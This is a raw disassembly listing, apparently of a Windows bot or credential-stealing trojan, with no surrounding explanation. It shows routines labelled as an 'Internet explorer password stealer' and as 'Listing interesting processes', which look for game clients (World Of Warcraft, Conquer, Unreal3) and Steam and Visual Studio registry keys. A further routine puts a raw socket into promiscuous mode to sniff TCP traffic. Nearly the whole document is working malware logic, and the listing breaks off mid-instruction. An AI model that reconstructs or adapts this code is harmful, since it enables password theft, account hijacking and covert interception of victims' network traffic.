50FFFFF2h, 858D006Ah dd 0FFFFF5F0h, 8B006A50h, 0FFF01885h, 0FF008BFFh, 0FFF018B5h dd 3C50FFFFh, 0F01C8589h, 0BD83FFFFh, 0FFFFF01Ch, 68167D00h dd 41D598h, 0F018B5FFh, 0B5FFFFFFh, 0FFFFF01Ch, 1C7DE8h dd 1C858B00h, 89FFFFF0h, 0FFF20C85h, 8BD83FFh, 0FFFFF2h dd 3680A75h, 0E8800040h, 1C50h, 858D006Ah, 0FFFFF1F8h dd 8B016A50h, 0FFF20885h, 0FC8589FFh, 8BFFFFEFh, 0FFEFFC85h dd 0FF008BFFh, 0FFEFFCB5h, 0C50FFFFh, 850FC085h, 815h dd 0F1ECA583h, 0C600FFFFh, 8303FC45h, 0FFF1ECBDh, 127400FFh dd 0F1EC858Bh, 8D8BFFFFh, 0FFFFF1ECh, 0FF50098Bh, 0A5830851h dd 0FFFFF1ECh, 0BD8300h, 0FFFFF6h, 3680A75h, 0E8800040h dd 1BE0h, 0F600858Bh, 8589FFFFh, 0FFFFF010h, 0F1EC858Dh dd 6A50FFFFh, 0F8858D00h, 50FFFFF1h, 0F5F0858Dh, 6A50FFFFh dd 10858B00h, 8BFFFFF0h, 10B5FF00h, 0FFFFFFF0h, 85895450h dd 0FFFFF014h, 0F014BD83h, 7D00FFFFh, 0D5986816h, 0B5FF0041h dd 0FFFFF010h, 0F014B5FFh, 93E8FFFFh, 8B00001Bh, 0FFF01485h dd 0F08589FFh, 83FFFFF1h, 0FFF1ECBDh, 0A7500FFh, 400368h dd 1B66E880h, 6A0000h, 0F1F4858Dh, 6A50FFFFh, 0EC858B01h dd 89FFFFF1h, 0FFEFF885h, 0F8858BFFh, 8BFFFFEFh, 0F8B5FF00h dd 0FFFFFFEFh, 0C0850C50h, 707850Fh, 0B5FF0000h, 0FFFFF1F4h dd 41D55C68h, 0F0858D00h, 50FFFFFDh, 71E015FFh, 0C4830041h dd 0E8A5830Ch, 0FFFFF1h, 0F118A583h, 8300FFFFh, 0FFF11CA5h dd 0BD8300FFh, 0FFFFF600h, 680A7500h, 80004003h, 1AF3E8h dd 0F4858B00h, 89FFFFF1h, 0FFF00485h, 858BFFh, 89FFFFF6h dd 0FFF00885h, 0FF006AFFh, 0FFF11CB5h, 18858DFFh, 50FFFFF1h dd 0F1E8858Dh, 0FF50FFFFh, 0FFF004B5h, 0F8858DFFh, 50FFFFF1h dd 0F5F0858Dh, 6A50FFFFh, 8858B00h, 8BFFFFF0h, 8B5FF00h dd 0FFFFFFF0h, 85894450h, 0FFFFF00Ch, 0F00CBD83h, 7D00FFFFh dd 0D5986816h, 0B5FF0041h, 0FFFFF008h, 0F00CB5FFh, 87E8FFFFh dd 8B00001Ah, 0FFF00C85h, 0F08589FFh, 0FFFFFFF1h, 0FFF118B5h dd 1762E8FFh, 8B590000h, 0FFF1E88Dh, 0C13B49FFh, 89830Fh dd 0A5830000h, 0FFFFF114h, 10A58300h, 0FFFFF1h, 858B0EEBh dd 0FFFFF110h, 85894040h, 0FFFFF110h, 0F110858Bh, 853BFFFFh dd 0FFFFF1E8h, 858B4D73h, 0FFFFF118h, 0F1108503h, 0B60FFFFFh dd 75C08500h, 14858B10h, 0C6FFFFF1h, 0F6040584h, 0EB2CFFFFh dd 18858B1Bh, 3FFFFF1h, 0FFF11085h, 148D8BFFh, 8AFFFFF1h dd 0D848800h, 0FFFFF604h, 0F114858Bh, 8940FFFFh, 0FFF11485h dd 8B97EBFFh, 0FFF11485h, 5A480FFh, 0FFFFF603h, 0FF1BEB00h dd 0FFF118B5h, 8B6468FFh, 858D0041h, 0FFFFF604h, 0E015FF50h dd 83004171h, 30680CC4h, 8D0041DEh, 0FFF80485h, 15FF50FFh dd 4170FCh, 41DE3068h, 10858D00h, 50FFFFF2h, 70FC15FFh dd 50680041h, 8D0041D5h, 0FFF5B885h, 15FF50FFh, 417108h dd 4075C085h, 0FDEC858Bh, 8940FFFFh, 0FFFDEC85h, 85BE0FFFh dd 0FFFFF5A9h, 2875C085h, 0F604858Dh, 8D50FFFFh, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 41D51068h, 14858D00h, 50FFFFF4h dd 0FF8036E8h, 14C483FFh, 41D50468h, 0B8858D00h, 50FFFFF5h dd 710815FFh, 0C0850041h, 0A8850Fh, 30680000h, 8D0041DEh dd 0FFF12085h, 15FF50FFh, 4170FCh, 4184FC68h, 4858D00h dd 50FFFFF6h, 165FE8h, 85595900h, 683874C0h, 4184FCh, 0F604858Dh dd 0E850FFFFh, 1648h, 50405959h, 0F120858Dh, 0FF50FFFFh dd 4170FC15h, 84FC6800h, 858D0041h, 0FFFFF604h, 1626E850h dd 59590000h, 8B002080h, 0FFFDEC85h, 858940FFh, 0FFFFFDECh dd 3E868h, 9C15FF00h, 8D004170h, 0FFF12085h, 858D50FFh dd 0FFFFF604h, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0AC68FFFFh dd 8D0041D4h, 0FFF41485h, 74E850FFh, 83FFFF7Fh, 0A06818C4h dd 8D0041D4h, 0FFF5B885h, 15FF50FFh, 417108h, 850FC085h dd 25Ah, 0F038A583h, 0C700FFFFh, 0FFF10485h, 1FFh, 34A58300h dd 0FFFFF0h, 858B0EEBh, 0FFFFF034h, 85894040h, 0FFFFF034h dd 0F034858Bh, 853BFFFFh, 0FFFFF1E8h, 0B2830Fh, 858B0000h dd 0FFFFF118h, 0F0348503h, 0B60FFFFFh, 75C08500h, 38858B1Dh dd 0C6FFFFF0h, 0F6040584h, 8B2CFFFFh, 0FFF03885h, 858940FFh dd 0FFFFF038h, 858B7DEBh, 0FFFFF118h, 0F0348503h, 8AFFFFh dd 0DC15FF50h, 85004171h, 8B3C75C0h, 0FFF11885h, 348503FFh dd 0FFFFFF0h, 0F88300B6h, 8B287440h, 0FFF11885h, 348503FFh dd 0FFFFFF0h, 0F88300B6h, 8B14742Eh, 0FFF11885h, 348503FFh dd 0FFFFFF0h, 0F88300B6h, 8B28755Fh, 0FFF11885h, 348503FFh dd 8BFFFFF0h, 0FFF0388Dh, 88008AFFh, 0F6040D84h, 858BFFFFh dd 0FFFFF038h, 38858940h, 0E9FFFFF0h, 0FFFFFF2Eh, 0F038858Bh dd 0A480FFFFh, 0FFF60305h, 858D00FFh, 0FFFFF606h, 0F10C8589h dd 0A583FFFFh, 0FFFFF108h, 8B0DEB00h, 0FFF10885h dd 858940FFh, 0FFFFF108h, 0F118858Bh, 0B60FFFFFh, 85390440h dd 0FFFFF108h, 1288D0Fh, 858B0000h, 0FFFFF10Ch, 858D5040h dd 0FFFFF03Ch, 0FC15FF50h, 68004170h, 41D49Ch, 0F03C858Dh dd 0E850FFFFh, 1468h, 0C0855959h, 9C681674h, 8D0041D4h dd 0FFF03C85h, 51E850FFh, 59000014h, 208059h, 41D49C68h dd 0C858B00h, 40FFFFF1h, 143AE850h, 59590000h, 2474C085h dd 41D49C68h, 0C858B00h, 40FFFFF1h, 1422E850h, 59590000h dd 8D504040h, 0FFF0A085h, 15FF50FFh, 4170FCh, 41D49C68h dd 0A0858D00h, 50FFFFF0h, 13FFE8h, 85595900h, 681674C0h dd 41D49Ch, 0F0A0858Dh, 0E850FFFFh, 13E8h, 20805959h, 0D49C6800h dd 858B0041h, 0FFFFF10Ch, 0D1E85040h, 59000013h, 8DF08B59h dd 0FFF0A085h, 15FF50FFh, 41703Ch, 906448Dh, 0F10C8589h dd 858BFFFFh, 0FFFFFDECh, 0EC858940h, 68FFFFFDh, 3E8h dd 709C15FFh, 0BE0F0041h, 0FFF5A985h, 75C085FFh, 0A0858D28h dd 50FFFFF0h, 0F03C858Dh, 0FF50FFFFh, 0FFFDECB5h, 0D45C68FFh dd 858D0041h, 0FFFFF414h, 7D05E850h, 0C483FFFFh, 0FEB5E914h dd 5068FFFFh, 8D0041D4h, 0FFF5B885h, 15FF50FFh, 417108h dd 850FC085h, 184h, 41D44468h, 0F0858D00h, 50FFFFFDh, 133BE8h dd 85595900h, 69850FC0h, 68000001h, 41D43Ch, 0FDF0858Dh dd 0E850FFFFh, 1320h, 0C0855959h, 3C681674h, 8D0041D4h dd 0FFFDF085h, 9E850FFh, 59000013h, 208059h, 858D086Ah dd 0FFFFFDF0h, 20858D50h, 50FFFFF1h, 710015FFh, 34680041h dd 8D0041D4h, 0FFF12085h, 0DDE850FFh, 59000012h, 75C08559h dd 0D42C6867h, 858D0041h, 0FFFFF120h, 12C6E850h, 59590000h dd 5075C085h, 0FDEC858Bh, 8940FFFFh, 0FFFDEC85h, 3E868FFh dd 15FF0000h, 41709Ch, 0A985BE0Fh, 85FFFFF5h, 8D2875C0h dd 0FFF60485h, 858D50FFh, 0FFFFFDF0h, 0ECB5FF50h, 68FFFFFDh dd 41D3E4h, 0F414858Dh, 0E850FFFFh, 0FFFF7C0Fh, 0E914C483h dd 0A8h, 41DE3068h, 20858D00h, 50FFFFF1h, 70FC15FFh, 9C680041h dd 8D0041D4h, 0FFF60485h, 4DE850FFh, 59000012h, 74C08559h dd 0D49C6838h, 858D0041h, 0FFFFF604h, 1236E850h, 59590000h dd 858D5040h, 0FFFFF120h, 0FC15FF50h, 68004170h, 41D49Ch dd 0F604858Dh, 0E850FFFFh, 1214h, 20805959h, 0EC858B00h dd 40FFFFFDh, 0FDEC8589h, 0E868FFFFh, 0FF000003h, 41709C15h dd 20858D00h, 50FFFFF1h, 0F604858Dh, 8D50FFFFh, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 41D38868h, 14858D00h, 50FFFFF4h dd 0FF7B62E8h, 18C483FFh, 20068h, 8D006A00h, 0FFFDF085h dd 77E850FFh, 83000011h, 680CC4h, 6A000002h, 4858D00h dd 50FFFFF6h, 1161E8h, 0CC48300h, 0FFF8B6E9h, 0FC45C6FFh dd 0ECBD8302h, 0FFFFF1h, 858B1274h, 0FFFFF1ECh, 0F1EC8D8Bh dd 98BFFFFh, 851FF50h, 0FFF7A8E9h, 0FC45C6FFh, 8BD8301h dd 0FFFFF2h, 858B1274h, 0FFFFF208h, 0F2088D8Bh, 98BFFFFh dd 851FF50h, 0FFF672E9h, 0EC858AFFh, 88FFFFF5h, 0FFF5AC85h dd 3E868FFh, 15FF0000h, 41709Ch, 0FDECB5FFh, 858BFFFFh dd 0FFFFF410h, 4C6830FFh, 8D0041D3h, 0FFF41485h, 0B0E850FFh dd 83FFFF7Ah, 0B5FF10C4h, 0FFFFF410h, 0FF3CC6E8h, 0A58359FFh dd 0FFFFF028h, 0FC658000h, 0F07D8300h, 8B0C7400h, 4D8BF045h dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh, 127400FFh dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h dd 0FFFFF028h, 64F44D8Bh, 0D89h, 5E5F0000h, 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE80, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset aOa ; "¸ÝoA" call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp-4] mov eax, [eax] mov ecx, [ebp-4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: .text:00415B4Cj leave retn ; --------------------------------------------------------------------------- loc_415B60: ; DATA XREF: sub_415DFD+35o push ebp mov ebp, esp sub esp, 5D8h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-5B8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-5C4h], 0 and dword ptr [ebp-410h], 0 and dword ptr [ebp-40Ch], 0 and dword ptr [ebp-408h], 0 and dword ptr [ebp-404h], 0 and dword ptr [ebp-5BCh], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: .text:loc_415C50j mov eax, [ebp-5BCh] inc eax mov [ebp-5BCh], eax loc_415BC2: ; CODE XREF: .text:00415BB3j cmp dword ptr [ebp-5BCh], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp-400h] push eax push dword ptr [ebp-5BCh] call ds:dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp-400h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov dword ptr [ebp-410h], 1 loc_415C0E: ; CODE XREF: .text:00415C02j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp-400h] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov dword ptr [ebp-408h], 1 loc_415C2F: ; CODE XREF: .text:00415C23j push offset aConquer ; "[Conquer]" lea eax, [ebp-400h] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov dword ptr [ebp-404h], 1 loc_415C50: ; CODE XREF: .text:00415C44j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: .text:00415BCCj and dword ptr [ebp-5C0h], 0 lea eax, [ebp-5C0h] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov dword ptr [ebp-5C4h], 1 loc_415C88: ; CODE XREF: .text:00415C7Cj push dword ptr [ebp-5C0h] call ds:dword_417028 ; RegCloseKey and dword ptr [ebp-5C0h], 0 lea eax, [ebp-5C0h] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov dword ptr [ebp-40Ch], 1 loc_415CC7: ; CODE XREF: .text:00415CBBj push dword ptr [ebp-5C0h] call ds:dword_417028 ; RegCloseKey movsx eax, byte ptr [ebp-41Ch] test eax, eax jz short loc_415D1E cmp dword ptr [ebp-410h], 0 jnz short loc_415D1E cmp dword ptr [ebp-5C4h], 0 jnz short loc_415D1E cmp dword ptr [ebp-40Ch], 0 jnz short loc_415D1E cmp dword ptr [ebp-408h], 0 jnz short loc_415D1E cmp dword ptr [ebp-404h], 0 jnz short loc_415D1E push dword ptr [ebp-5B8h] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: .text:00415CDCj ; .text:00415CE5j ... cmp dword ptr [ebp-404h], 0 jz short loc_415D33 mov dword ptr [ebp-5C8h], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: .text:00415D25j mov dword ptr [ebp-5C8h], offset aNo ; "No" loc_415D3D: ; CODE XREF: .text:00415D31j cmp dword ptr [ebp-408h], 0 jz short loc_415D52 mov dword ptr [ebp-5CCh], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: .text:00415D44j mov dword ptr [ebp-5CCh], offset aNo ; "No" loc_415D5C: ; CODE XREF: .text:00415D50j cmp dword ptr [ebp-40Ch], 0 jz short loc_415D71 mov dword ptr [ebp-5D0h], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: .text:00415D63j mov dword ptr [ebp-5D0h], offset aNo ; "No" loc_415D7B: ; CODE XREF: .text:00415D6Fj cmp dword ptr [ebp-5C4h], 0 jz short loc_415D90 mov dword ptr [ebp-5D4h], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: .text:00415D82j mov dword ptr [ebp-5D4h], offset aNo ; "No" loc_415D9A: ; CODE XREF: .text:00415D8Ej cmp dword ptr [ebp-410h], 0 jz short loc_415DAF mov dword ptr [ebp-5D8h], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: .text:00415DA1j mov dword ptr [ebp-5D8h], offset aNo ; "No" loc_415DB9: ; CODE XREF: .text:00415DADj push dword ptr [ebp-5C8h] push dword ptr [ebp-5CCh] push dword ptr [ebp-5D0h] push dword ptr [ebp-5D4h] push dword ptr [ebp-5D8h] push offset dword_41D5CC lea eax, [ebp-5B4h] push eax call sub_40D53F add esp, 1Ch push dword ptr [ebp-5B8h] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: .text:00415D19j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset loc_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: .text:00416389p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6FC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D758 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7CC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; --------------------------------------------------------------------------- loc_415F69: ; DATA XREF: sub_41665C+A6o push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push dword ptr [ebp+8] lea eax, [ebp-1614h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movsx eax, byte ptr [ebp-160Ch] neg eax sbb eax, eax lea ecx, [ebp-160Ch] and eax, ecx mov [ebp-1624h], eax push 0 push 3 push 2 call ds:dword_417218 ; socket mov [ebp-104Ch], eax cmp dword ptr [ebp-104Ch], 0FFFFFFFFh jnz short loc_415FDE push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: .text:00415FC9j push 0FFh lea eax, [ebp-1254h] push eax call ds:dword_417260 ; gethostname lea eax, [ebp-1254h] push eax call ds:dword_41723C ; gethostbyname mov [ebp-1154h], eax cmp dword ptr [ebp-1154h], 0 jnz short loc_41602B push dword ptr [ebp-104Ch] call ds:dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: .text:0041600Aj push 10h push 0 lea eax, [ebp-1048h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-1048h], 2 mov eax, [ebp-1154h] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-1044h], eax push 10h lea eax, [ebp-1048h] push eax push dword ptr [ebp-104Ch] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push dword ptr [ebp-104Ch] call ds:dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: .text:00416072j mov dword ptr [ebp-1150h], 1 push 0 push 0 lea eax, [ebp-1620h] push eax push 0 push 0 push 4 lea eax, [ebp-1150h] push eax push 98000001h push dword ptr [ebp-104Ch] call ds:dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push dword ptr [ebp-104Ch] call ds:dword_417230 ; closesocket push dword ptr [ebp-1614h] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: .text:004160C9j lea eax, [ebp-1030h] mov [ebp-161Ch], eax and dword ptr [ebp-1628h], 0 and dword ptr [ebp-4], 0 push dword ptr [ebp-1610h] mov eax, [ebp-1614h] push dword ptr [eax] push offset unk_41D9DC lea eax, [ebp-140Ch] push eax call sub_40D53F add esp, 10h and byte ptr [ebp-1274h], 0 and byte ptr [ebp-114Ch], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp-114Bh] rep stosd stosw stosb and byte ptr [ebp-1264h], 0 xor eax, eax lea edi, [ebp-1263h] stosd stosb lea eax, [ebp-114Ch] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp-1264h] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp-114Ch] push eax call ds:dword_417244 ; inet_addr mov [ebp-1618h], eax lea eax, [ebp-1264h] push eax call sub_416B9C ; atoi pop ecx mov [ebp-1268h], ax and byte ptr [ebp-1038h], 0 xor eax, eax lea edi, [ebp-1037h] stosd stosb lea eax, [ebp-1038h] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp-1044h] mov [ebp-125Ch], eax lea eax, [ebp-1038h] push eax call sub_416B9C ; atoi pop ecx mov [ebp-1258h], ax loc_4161E6: ; CODE XREF: .text:0041626Ej ; .text:004162A3j ... push 0 push 1028h lea eax, [ebp-1030h] push eax push dword ptr [ebp-104Ch] call ds:dword_417248 ; recv mov [ebp-17ACh], eax mov eax, [ebp-1614h] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: .text:00416210j cmp dword ptr [ebp-17ACh], 0FFFFFFFFh jz short loc_416229 cmp dword ptr [ebp-17ACh], 0 jnz short loc_41622E loc_416229: ; CODE XREF: .text:0041621Ej jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: .text:00416227j mov eax, [ebp-17ACh] and byte ptr [ebp+eax-1030h], 0 mov eax, [ebp-161Ch] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp-161Ch] lea eax, [ecx+eax*4] mov [ebp-1628h], eax mov eax, [ebp-1628h] lea ecx, [ebp-1030h] sub eax, ecx cmp eax, [ebp-17ACh] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: .text:0041626Cj mov eax, [ebp-1628h] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp-1628h] lea eax, [ecx+eax*4] mov [ebp-4], eax mov eax, [ebp-4] lea ecx, [ebp-1030h] sub eax, ecx cmp eax, [ebp-17ACh] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: .text:004162A1j push dword ptr [ebp-4] call sub_416B40 ; strlen pop ecx mov [ebp-17ACh], eax mov eax, [ebp-161Ch] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, byte ptr [ebp-127Eh] test eax, eax jz short loc_4162EB mov eax, [ebp-161Ch] mov eax, [eax+10h] cmp eax, [ebp-125Ch] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: .text:004162D3j ; .text:004162E4j movsx eax, byte ptr [ebp-1278h] test eax, eax jz short loc_41630C mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-125Ch] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: .text:004162F4j ; .text:00416305j mov eax, [ebp-1628h] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax movzx ecx, word ptr [ebp-1258h] cmp eax, ecx jnz short loc_416340 mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-125Ch] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: .text:00416328j ; .text:00416339j mov eax, [ebp-1628h] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax movzx ecx, word ptr [ebp-1268h] cmp eax, ecx jnz short loc_416374 mov eax, [ebp-161Ch] mov eax, [eax+0Ch] cmp eax, [ebp-1618h] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: .text:0041635Cj ; .text:0041636Dj push dword ptr [ebp-1624h] push dword ptr [ebp-1610h] push dword ptr [ebp-17ACh] push dword ptr [ebp-4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and dword ptr [ebp-19B8h], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: .text:loc_416413j mov eax, [ebp-19B8h] inc eax mov [ebp-19B8h], eax loc_4163AF: ; CODE XREF: .text:004163A0j mov eax, [ebp-19B8h] cmp eax, [ebp-17ACh] jnb short loc_416415 mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: .text:004163CCj mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp-4] add eax, [ebp-19B8h] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: .text:004163E9j mov eax, [ebp-4] add eax, [ebp-19B8h] movsx eax, byte ptr [eax] test 